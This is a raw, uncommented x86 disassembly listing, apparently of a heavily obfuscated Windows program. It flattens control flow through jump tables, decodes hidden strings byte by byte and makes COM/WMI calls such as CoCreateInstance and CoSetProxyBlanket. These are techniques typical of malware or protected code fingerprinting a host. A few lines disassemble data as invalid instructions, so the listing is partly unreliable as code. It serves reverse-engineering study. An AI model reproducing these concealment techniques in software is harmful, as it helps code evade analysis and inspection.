nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ecx, ebx
sub ecx, eax
mov dword [esi + 0xc], edx
movzx edx, word [edx]
test dx, dx
je 0x432f42
test ecx, ecx
jne 0x432e00
jmp 0x432f42
movzx eax, ax
cmp eax, 0xdc00
jne 0x432efb
mov edx, dword [esi + 4]
mov eax, dword [esi + 0x14]
jmp 0x432ed4
cmp ecx, 3
mov edx, dword [esi + 4]
jb 0x432f3b
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov dword [esi + 0xc], ecx
mov ecx, dword [esi + 0x14]
mov byte [ecx], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov ecx, dword [esi + 0x14]
mov byte [ecx + 1], al
and bl, 0x3f
or bl, 0x80
mov eax, dword [esi + 0x14]
add eax, 3
mov ecx, dword [esi + 0x14]
mov byte [ecx + 2], bl
mov ecx, dword [esi + 0xc]
mov ebx, dword [esi + 0x14]
jmp 0x432ed0
mov ebx, dword [esi + 0x14]
mov eax, ebx
jmp 0x432ed0
mov byte [eax], 0
mov dword [esi + 8], edi
sub eax, edi
mov dword [esi + 0x14], eax
mov dword [esi + 0x9c], 0xdebeb496
mov dword [esi + 0xa0], 0x83cbe9ee
mov dword [esi + 0xa4], 0xd2d0c8fa
mov word [esi + 0xa8], 0x9bd3
mov byte [esi + 0xaa], 0xaa
mov dword [esi + 0xab], 0
xor eax, eax
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
and eax, 0x24
mov edx, edi
xor edx, 0x43604f92
mov ecx, 0x49c45ef7
sub ecx, eax
sub ecx, edx
mov dword [esi + 0xc], ecx
movzx ecx, byte [esi + edi + 0x9c]
mov ebx, ecx
not ebx
lea ecx, [ecx + ebx*2]
mov dword [esi + 0x10], ecx
mov ecx, 0xfffffffe
sub ecx, dword [esi + 0x10]
add eax, edx
add eax, 0xb63ba108
and eax, ecx
and ebx, dword [esi + 0xc]
mov edx, ebx
not edx
lea ecx, [ebx + edx*2]
lea edx, [ebx + edx*2]
inc edx
mov ebx, 0xe
sub ebx, ecx
and edx, 0xf1
and ebx, 0xe
or ebx, edx
mov edx, 0xfe
sub edx, ecx
xor ebx, eax
and edx, eax
xor ebx, 0xf1
or edx, ebx
mov al, 0xfd
sub al, dl
mov byte [esi + edi + 0x9c], al
mov eax, dword [esi + 4]
inc edi
add eax, 2
cmp edi, 0x13
jne 0x432f90
mov edi, dword [esi + 8]
add edi, dword [esi + 0x14]
movzx eax, byte [esi + 0x9c]
test al, al
je 0x43304b
lea ecx, [esi + 0x9d]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x433040
mov byte [edi], 0
call fcn.00435940
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0x14], eax
mov ebx, eax
jmp dword [ecx*4 + 0x44e1b8]
int3
call fcn.0040e5f0
mov dword [esi + 0x420], 0
mov eax, dword [esi + 0x424]
mov ecx, dword [esi + 0x420]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x428], 0
mov eax, dword [esi + 0x42c]
mov ecx, dword [esi + 0x428]
mov eax, dword [eax + ecx*4]
jmp eax
mov ebx, dword [esi + 8]
mov eax, dword [ebx + 8]
sub esp, 4
mov dword [esp], eax
call fcn.00433070
add esp, 4
mov edi, eax
inc edi
sub esp, 4
mov dword [esp], edi
call fcn.0040cdd0
add esp, 4
mov ecx, dword [ebx + 8]
mov ebx, eax
sub esp, 0xc
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.0040d760
add esp, 0xc
mov eax, ebx
add eax, 6
sub esp, 0xc
mov dword [esp + 4], eax
mov eax, dword [esi + 0x138]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.004392e0
add esp, 0xc
mov ecx, dword [esi + 0x350]
mov edx, dword [esi + 0x354]
mov ecx, dword [edx + ecx*4]
jmp ecx
movzx eax, bl
and eax, 1
mov dword [esi + 0x3f8], eax
mov eax, dword [esi + 0x3fc]
mov ecx, dword [esi + 0x3f8]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 4]
jmp eax
mov eax, dword [esi + 0x418]
mov ecx, dword [esi + 0x41c]
mov eax, dword [ecx + eax*4]
jmp eax
xor edi, edi
cmp edi, 7
jae 0x433b25
mov ebx, dword [esi + 0x2c]
mov dl, byte [ebx + edi]
movzx eax, dl
mov dword [esi + 0xdc], eax
mov eax, edi
add eax, 0xa39cf283
mov ecx, eax
and ecx, dword [esi + 0xdc]
shl ecx, 1
sub eax, ecx
add al, dl
add al, 0x71
mov byte [ebx + edi], al
add edi, 1
jmp 0x433af2
mov edi, dword [esi + 0x2c]
mov al, byte [edi]
mov dword [esi + 0x2a8], 1
mov ecx, dword [esi + 0x2ac]
mov edx, dword [esi + 0x2a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e5f0
mov dword [esi + 0x218], 1
mov eax, dword [esi + 0x21c]
mov ecx, dword [esi + 0x218]
mov eax, dword [eax + ecx*4]
jmp eax
xor byte [ebp - 0x78], cl
mov edi, 0x1b8868b
add byte [eax], al
mov ecx, dword [esi + 0x1bc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov dword [esi + 0x248], 1
mov eax, dword [esi + 0x24c]
mov ecx, dword [esi + 0x248]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x190]
mov ecx, dword [esi + 0x194]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x3d0], 0
mov eax, dword [esi + 0x3d4]
mov ecx, dword [esi + 0x3d0]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 8]
mov edi, dword [esi + 0x1c]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x250], 1
mov eax, dword [esi + 0x254]
mov ecx, dword [esi + 0x250]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x380], 1
mov eax, dword [esi + 0x384]
mov ecx, dword [esi + 0x380]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x260], 0
mov eax, dword [esi + 0x264]
mov ecx, dword [esi + 0x260]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x1e0]
mov ecx, dword [esi + 0x1e4]
mov eax, dword [ecx + eax*4]
jmp eax
adc byte [edi], cl
mov al, 0xc5
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_VariantClear]
call eax
mov eax, dword [esi + 0x1d0]
mov ecx, dword [esi + 0x1d4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x368], 1
mov eax, dword [esi + 0x36c]
mov ecx, dword [esi + 0x368]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 8]
sub esp, 4
mov dword [esp], eax
call fcn.00433070
add esp, 4
mov dword [esi + 0xfc], eax
mov edi, eax
add edi, 1
sub esp, 4
mov dword [esp], edi
call fcn.0040cdd0
add esp, 4
mov dword [ebx], eax
mov ecx, dword [esi + 0x1c]
mov ecx, dword [ecx + 8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
call fcn.0040d760
add esp, 0xc
mov eax, dword [esi + 0x12c]
mov al, byte [eax]
mov byte [esi + 0x80], al
mov edi, dword [esi + 0x130]
mov byte [edi], 0xb7
mov byte [edi + 1], 0xa8
mov byte [edi + 2], 0xac
mov byte [edi + 3], 0xa7
mov byte [edi + 4], 0xab
mov byte [edi + 5], 0xd2
mov byte [edi + 6], 0xd5
mov byte [edi + 7], 0x47
xor eax, eax
cmp eax, 8
jae 0x433ef6
mov cl, byte [edi + eax]
mov dl, al
add dl, 0x10
xor dl, cl
add dl, 0xb0
mov byte [edi + eax], dl
add eax, 1
jmp 0x433edc
mov ebx, dword [esi + 0xc]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00425450
add esp, 8
mov edi, dword [ebx]
mov dword [esi + 0xe0], edi
sub edi, eax
mov ecx, dword [esi + 0xfc]
lea edx, [edi + ecx]
lea ebx, [edi + ecx + 1]
seta cl
mov dword [esi + 0xe8], edx
mov dword [esi + 0x10], eax
lea edi, [eax + edx + 1]
mov edx, dword [esi + 0xe0]
sub edi, edx
seta ch
and cl, ch
test cl, 1
jne 0x433fb2
mov ecx, ebx
shr ecx, 2
mov eax, dword [esi + 0x10]
mov dword [esi + 0xd4], eax
mov edi, edx
mov eax, dword [esi + 0xd4]
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov ecx, ebx
and ecx, 0xfffffffc
add edx, ecx
mov eax, dword [esi + 0x10]
add eax, ecx
mov dword [esi + 0x10], eax
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov dword [esi + 0xd8], eax
mov edi, edx
mov eax, dword [esi + 0xd8]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ecx, ebx
and ecx, 2
add edx, ecx
mov eax, dword [esi + 0x10]
add eax, ecx
and ebx, 1
mov ecx, ebx
add ebx, 0xffffffff
cmp ecx, 0
je 0x433fdf
mov ecx, eax
add ecx, 1
mov al, byte [eax]
mov byte [edx], al
add edx, 1
mov eax, ecx
jmp 0x433f98
mov ecx, dword [esi + 0xe8]
add edx, ecx
mov eax, dword [esi + 0x10]
add eax, ecx
mov ecx, ebx
add ebx, 0xffffffff
cmp ecx, 0
je 0x433fdd
mov ecx, eax
add ecx, 0xffffffff
mov al, byte [eax]
mov edi, edx
add edi, 0xffffffff
mov byte [edx], al
mov edx, edi
mov eax, ecx
jmp 0x433fbf
jmp 0x433fe1
jmp 0x433fe1
mov eax, dword [esi + 0x3d8]
mov ecx, dword [esi + 0x3dc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov edi, dword [ebx]
mov dword [esi + 0x210], 1
mov eax, dword [esi + 0x214]
mov ecx, dword [esi + 0x210]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov dword [esp], ebx
call fcn.0040cde0
add esp, 4
mov eax, dword [esi + 0x1b0]
mov ecx, dword [esi + 0x1b4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x1a8]
mov ecx, dword [esi + 0x1ac]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x268], 0
mov eax, dword [esi + 0x26c]
mov ecx, dword [esi + 0x268]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x58]
jmp eax
mov eax, dword [esi + 0x60]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x228]
mov ecx, dword [esi + 0x22c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x1c0]
mov ecx, dword [esi + 0x1c4]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 4]
mov edx, dword [eax]
mov eax, dword [esi + 0xc8]
mov cl, byte [eax]
mov byte [esi + 0xa0], cl
mov byte [edi], 0x83
mov byte [edi + 1], 0x41
mov byte [edi + 2], 0xd7
mov byte [edi + 3], 0x43
mov byte [edi + 4], 0xd6
mov byte [edi + 5], 0x45
mov byte [edi + 6], 0xd4
mov byte [edi + 7], 0x47
mov byte [edi + 8], 0xad
mov byte [edi + 9], 0x49
mov byte [edi + 0xa], 0xa4
mov byte [edi + 0xb], 0x4b
mov byte [edi + 0xc], 0xd8
mov byte [edi + 0xd], 0x4d
mov byte [edi + 0xe], 0xba
mov byte [edi + 0xf], 0x4f
mov byte [edi + 0x10], 0x99
mov byte [edi + 0x11], 0x71
mov byte [edi + 0x12], 0x9f
mov byte [edi + 0x13], 0x73
mov byte [edi + 0x14], 0x91
mov byte [edi + 0x15], 0x75
mov byte [edi + 0x16], 0x8c
mov byte [edi + 0x17], 0x77
mov byte [edi + 0x18], 0x97
mov byte [edi + 0x19], 0x79
mov byte [edi + 0x1a], 0x94
mov byte [edi + 0x1b], 0x7b
mov byte [edi + 0x1c], 0x99
mov byte [edi + 0x1d], 0x7d
mov byte [edi + 0x1e], 0x7e
mov byte [edi + 0x1f], 0x7f
mov ecx, 0x20
mov byte [edi + ecx], 0
add ecx, 1
cmp ecx, 0x23
jne 0x434319
xor ecx, ecx
cmp ecx, 0x23
jae 0x434372
mov bl, byte [edi + ecx]
mov edi, ecx
add edi, 0x236c1990
mov dword [esi + 0x10c], edx
mov edx, 0x6f
sub edx, ecx
and edx, 0x51
mov eax, edi
xor eax, 0x51
or edi, 0xae
and edi, eax
or edx, edi
xor dl, bl
xor dl, 0x51
add dl, 0x30
mov eax, dword [esi + 0x20]
mov byte [eax + ecx], dl
mov edx, dword [esi + 0x10c]
mov edi, dword [esi + 0x20]
add ecx, 1
jmp 0x434327
mov eax, dword [edx]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov ebx, dword [esi + 0x28]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
test eax, eax
setns al
mov cx, word [ebx]
sub cx, 2
sete cl
and al, cl
mov dword [esi + 0x2f0], 1
mov ecx, dword [esi + 0x2f4]
mov edx, dword [esi + 0x2f0]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e5f0
test edi, edi
setne al
mov dword [esi + 0x1f8], 0
mov ecx, dword [esi + 0x1fc]
mov edx, dword [esi + 0x1f8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esi + 0x5c]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x238]
mov ecx, dword [esi + 0x23c]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 0xc]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x2f8], 1
mov eax, dword [esi + 0x2fc]
mov ecx, dword [esi + 0x2f8]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x28]
mov edi, dword [esi + 0x20]
jmp eax
sub esp, 4
mov dword [esp], edi
call fcn.0040cde0
add esp, 4
mov eax, dword [esi + 0x270]
mov ecx, dword [esi + 0x274]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x300]
mov ecx, dword [esi + 0x304]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov ax, di
sub ax, 8
sete al
mov bl, bh
and bl, al
mov dword [esi + 0x3a0], 0
mov eax, dword [esi + 0x3a4]
mov ecx, dword [esi + 0x3a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [edi]
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
not eax
shr eax, 0x1f
mov dword [esi + 0x438], eax
mov eax, dword [esi + 0x43c]
mov ecx, dword [esi + 0x438]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_VariantClear]
call eax
mov dword [esi + 0x3c8], 0
mov eax, dword [esi + 0x3cc]
mov ecx, dword [esi + 0x3c8]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 4]
mov eax, dword [eax]
mov dword [esi + 0x110], eax
mov eax, dword [esi + 0xc8]
mov cl, byte [eax]
mov byte [esi + 0x9c], cl
mov byte [edi], 0x83
mov byte [edi + 1], 0x41
mov byte [edi + 2], 0xd7
mov byte [edi + 3], 0x43
mov byte [edi + 4], 0xd6
mov byte [edi + 5], 0x45
mov byte [edi + 6], 0xd4
mov byte [edi + 7], 0x47
mov byte [edi + 8], 0xad
mov byte [edi + 9], 0x49
mov byte [edi + 0xa], 0xa4
mov byte [edi + 0xb], 0x4b
mov byte [edi + 0xc], 0xd8
mov byte [edi + 0xd], 0x4d
mov byte [edi + 0xe], 0xba
mov byte [edi + 0xf], 0x4f
mov byte [edi + 0x10], 0x99
mov byte [edi + 0x11], 0x71
mov byte [edi + 0x12], 0x9f
mov byte [edi + 0x13], 0x73
mov byte [edi + 0x14], 0x91
mov byte [edi + 0x15], 0x75
mov byte [edi + 0x16], 0x8c
mov byte [edi + 0x17], 0x77
mov byte [edi + 0x18], 0x97
mov byte [edi + 0x19], 0x79
mov byte [edi + 0x1a], 0x94
mov byte [edi + 0x1b], 0x7b
mov byte [edi + 0x1c], 0x99
mov byte [edi + 0x1d], 0x7d
mov byte [edi + 0x1e], 0x7e
mov byte [edi + 0x1f], 0x7f
mov ecx, 0x20
mov byte [edi + ecx], 0
add ecx, 1
cmp ecx, 0x23
jne 0x4346a1
xor ecx, ecx
cmp ecx, 0x23
jae 0x4346ee
mov bl, byte [edi + ecx]
mov edi, ecx
add edi, 0x236c1990
mov edx, 0x6f
sub edx, ecx
and edx, 0x51
mov eax, edi
xor eax, 0x51
or edi, 0xae
and edi, eax
or edx, edi
xor dl, bl
xor dl, 0x51
add dl, 0x30
mov eax, dword [esi + 0x20]
mov byte [eax + ecx], dl
mov edi, dword [esi + 0x20]
add ecx, 1
jmp 0x4346af
mov ecx, dword [esi + 0x110]
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov ebx, dword [esi + 0x28]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
mov eax, dword [esi + 0x1a0]
mov ecx, dword [esi + 0x1a4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x208]
mov ecx, dword [esi + 0x20c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
sub esp, 8
mov eax, esp
push eax
mov ecx, esp
push eax
mov dword [esi + 0x64], esp
sub esp, 0x1c
mov dword [esi + 0x34], esp
push eax
mov dword [esi + 0x114], esp
push eax
mov edx, esp
sub esp, 0xc
mov dword [esi + 0x120], esp
push eax
mov dword [esi + 0x118], esp
sub esp, 0x4c
mov dword [esi + 0x38], esp
push eax
mov dword [esi + 0x11c], esp
push eax
mov dword [esi + 0x5c], esp
push eax
mov edi, esp
push eax
mov dword [esi + 0x124], esp
sub esp, 0x10
mov ebx, esp
and ebx, 0xfffffff8
mov dword [esi + 0x1c], ebx
mov esp, ebx
push eax
sub esp, 0x10
mov dword [esi + 0x3c], esp
push eax
mov dword [esi + 0x128], esp
sub esp, 8
mov dword [esi + 0x130], esp
push eax
mov dword [esi + 0x12c], esp
sub esp, 0x10
mov ebx, esp
and ebx, 0xfffffff8
mov dword [esi + 8], ebx
mov esp, ebx
push eax
sub esp, 0x1c
mov dword [esi + 0x40], esp
push eax
mov dword [esi + 0x134], esp
push eax
mov dword [esi + 0x44], esp
push eax
mov dword [esi + 0x13c], esp
sub esp, 8
mov dword [esi + 0xc0], esp
push eax
mov dword [esi + 0x140], esp
sub esp, 8
mov dword [esi + 0x24], esp
push eax
mov dword [esi + 0x144], esp
push eax
mov dword [esi + 0xc4], esp
push eax
mov dword [esi + 0x148], esp
push eax
mov dword [esi + 0x48], esp
push eax
mov dword [esi + 0x14c], esp
sub esp, 0x10
mov ebx, esp
and ebx, 0xfffffff8
mov dword [esi + 0x28], ebx
mov esp, ebx
push eax
sub esp, 0x20
mov dword [esi + 0x20], esp
push eax
mov dword [esi + 0xc8], esp
sub esp, 0x10
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
sub esp, 0x18
mov dword [esi + 0x4c], esp
push eax
mov dword [esi + 0x154], esp
sub esp, 8
mov dword [esi + 0x2c], esp
push eax
mov dword [esi + 0x15c], esp
sub esp, 8
mov dword [esi + 0x30], esp
push eax
mov dword [esi + 0x164], esp
sub esp, 8
mov dword [esi + 0xd0], esp
push eax
mov dword [esi + 0x168], esp
push eax
mov dword [esi + 0x50], esp
push eax
mov dword [esi + 0x16c], esp
sub esp, 8
mov dword [esi + 0x54], esp
push eax
mov dword [esi + 0x170], esp
mov cl, byte [ecx]
mov byte [esi + 0x6c], cl
mov byte [eax], 0x84
mov byte [eax + 1], 0xbb
mov byte [eax + 2], 0xb8
mov byte [eax + 3], 0x38
mov ecx, 4
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 6
jne 0x4348a7
mov dword [esi + 4], edi
mov dword [esi + 0x60], edx
xor ecx, ecx
mov dword [esi + 0x58], ebx
cmp ecx, 6
jae 0x4348f6
movzx edi, byte [eax + ecx]
mov ebx, 0xce76d160
sub ebx, ecx
or ebx, edi
xor ebx, 0xffffffff
mov edx, 0x60
sub edx, ecx
and edx, edi
or edx, ebx
mov ebx, edx
and ebx, 1
or edx, 1
add edx, 0xe4
add ebx, edx
mov byte [eax + ecx], bl
add ecx, 1
jmp 0x4348be
mov eax, dword [eax]
mov ecx, dword [eax + 0x26c]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov ecx, dword [eax + 0x270]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 0x260]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0x264]
sub eax, 2
sete byte [edx + 0xc]
mov ebx, edx
add ebx, 0x10
mov dword [edx + 0x10], 0
mov eax, edx
add eax, 0x14
mov dword [esi + 0x138], eax
mov byte [edx + 0x14], 0
mov eax, edx
add eax, 0x28
mov dword [esi + 0x150], eax
mov word [edx + 0x28], 0
mov eax, edx
add eax, 0x2a
mov dword [esi + 0x158], eax
mov byte [edx + 0x2a], 0
mov eax, dword [esi + 0x64]
mov dword [eax], 0
sub esp, 0x14
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x448a18
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x448a28
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
xor ecx, ecx
test eax, eax
setns al
mov dword [esi + 0x450], 1
mov edx, dword [esi + 0x454]
mov edi, dword [esi + 0x450]
mov edx, dword [edx + edi*4]
jmp edx
pop ebx
out dx, al
insb byte es:[edi], dx
mov eax, dword [esi + 0x180]
mov ecx, dword [esi + 0x184]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x310], 0
mov eax, dword [esi + 0x314]
mov ecx, dword [esi + 0x310]
mov eax, dword [eax + ecx*4]
jmp eax
invalid
mov eax, dword [esi + 0x3c0]
mov ecx, dword [esi + 0x3c4]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 0xcc]
mov dword [esp], eax
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov eax, dword [esi + 0x160]
mov dword [esp], eax
call edi
mov eax, dword [esi + 0x230]
mov ecx, dword [esi + 0x234]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x1c8]
mov ecx, dword [esi + 0x1cc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x328], 0
mov eax, dword [esi + 0x32c]
mov ecx, dword [esi + 0x328]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x14]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x400], 0
mov eax, dword [esi + 0x404]
mov ecx, dword [esi + 0x400]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
mov edi, dword [esi + 0x58]
mov dword [esp], edi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 4]
mov eax, dword [eax]
mov ecx, dword [esi + 0x154]
mov cl, byte [ecx]
mov byte [esi + 0xa4], cl
mov ebx, dword [esi + 0x4c]
mov byte [ebx], 0x4f
mov byte [ebx + 1], 0x87
mov byte [ebx + 2], 0x30
mov byte [ebx + 3], 0x81
mov byte [ebx + 4], 0x3d
mov byte [ebx + 5], 0x83
mov byte [ebx + 6], 0x3e
mov byte [ebx + 7], 0x8d
mov byte [ebx + 8], 0x2f
mov byte [ebx + 9], 0x8f
mov byte [ebx + 0xa], 0x3a
mov byte [ebx + 0xb], 0x89
mov byte [ebx + 0xc], 0x3c
mov byte [ebx + 0xd], 0x8b
mov byte [ebx + 0xe], 0x46
mov byte [ebx + 0xf], 0x95
mov byte [ebx + 0x10], 0x37
mov byte [ebx + 0x11], 0x97
mov byte [ebx + 0x12], 0x2a
mov byte [ebx + 0x13], 0x91
mov byte [ebx + 0x14], 0x3f
mov byte [ebx + 0x15], 0x93
mov byte [ebx + 0x16], 0x92
mov byte [ebx + 0x17], 0x9d
mov ecx, 0x18
mov byte [ebx + ecx], 0
add ecx, 1
cmp ecx, 0x1c
jne 0x434c67
xor ecx, ecx
cmp ecx, 0x1c
jae 0x434cad
mov edx, dword [esi + 0x4c]
mov bl, byte [edx + ecx]
mov edi, ecx
shl edi, 1
and edi, 0xc2
mov edx, ecx
xor edx, 0x61
add edx, edi
xor dl, bl
mov ebx, dword [esi + 0x4c]
mov edi, dword [esi + 0x58]
add dl, 0x1b
mov byte [ebx + ecx], dl
mov edx, ecx
shl edx, 1
and edx, 2
xor ecx, 1
add ecx, edx
jmp 0x434c75
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
sub esp, 0x18
mov dword [esp + 0xc], edi
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call ecx
test eax, eax
setns al
mov cx, word [edi]
sub cx, 8
sete cl
and al, cl
movzx eax, al
mov dword [esi + 0x2d8], eax
mov eax, dword [esi + 0x2dc]
mov ecx, dword [esi + 0x2d8]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 4]
jmp eax
mov ecx, dword [esi + 0x2a0]
mov edx, dword [esi + 0x2a4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, edi
mov ecx, eax
add ecx, 8
mov dword [esi + 0xf4], ecx
mov eax, dword [eax + 8]
mov ecx, dword [esi + 0x2d0]
mov edx, dword [esi + 0x2d4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ecx, dword [esi + 0x1f0]
mov edx, dword [esi + 0x1f4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esi + 0x28]
movsx ecx, word [eax + 8]
mov edx, 0x88888889
mov eax, ecx
imul edx
add edx, ecx
mov eax, edx
shr eax, 0x1f
shr edx, 5
add edx, eax
mov eax, dword [esi + 0x150]
mov word [eax], dx
mov eax, dword [esi + 0x2e0]
mov ecx, dword [esi + 0x2e4]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 0x174]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x220]
mov ecx, dword [esi + 0x224]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x258]
mov ecx, dword [esi + 0x25c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
sub esp, 4
mov dword [esp], ebx
call fcn.0040cde0
add esp, 4
mov dword [esi + 0x320], 0
mov eax, dword [esi + 0x324]
mov ecx, dword [esi + 0x320]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x240]
mov ecx, dword [esi + 0x244]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x360]
mov ecx, dword [esi + 0x364]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x114]
mov al, byte [eax]
mov byte [esi + 0x70], al
mov ecx, dword [esi + 0x34]
mov byte [ecx], 0x16
mov byte [ecx + 1], 0x49
mov byte [ecx + 2], 5
mov byte [ecx + 3], 0x57
mov byte [ecx + 4], 7
mov byte [ecx + 5], 0x55
mov byte [ecx + 6], 0xe
mov byte [ecx + 7], 0x53
mov byte [ecx + 8], 0xf4
mov byte [ecx + 9], 0x51
mov byte [ecx + 0xa], 0x11
mov byte [ecx + 0xb], 0x5f
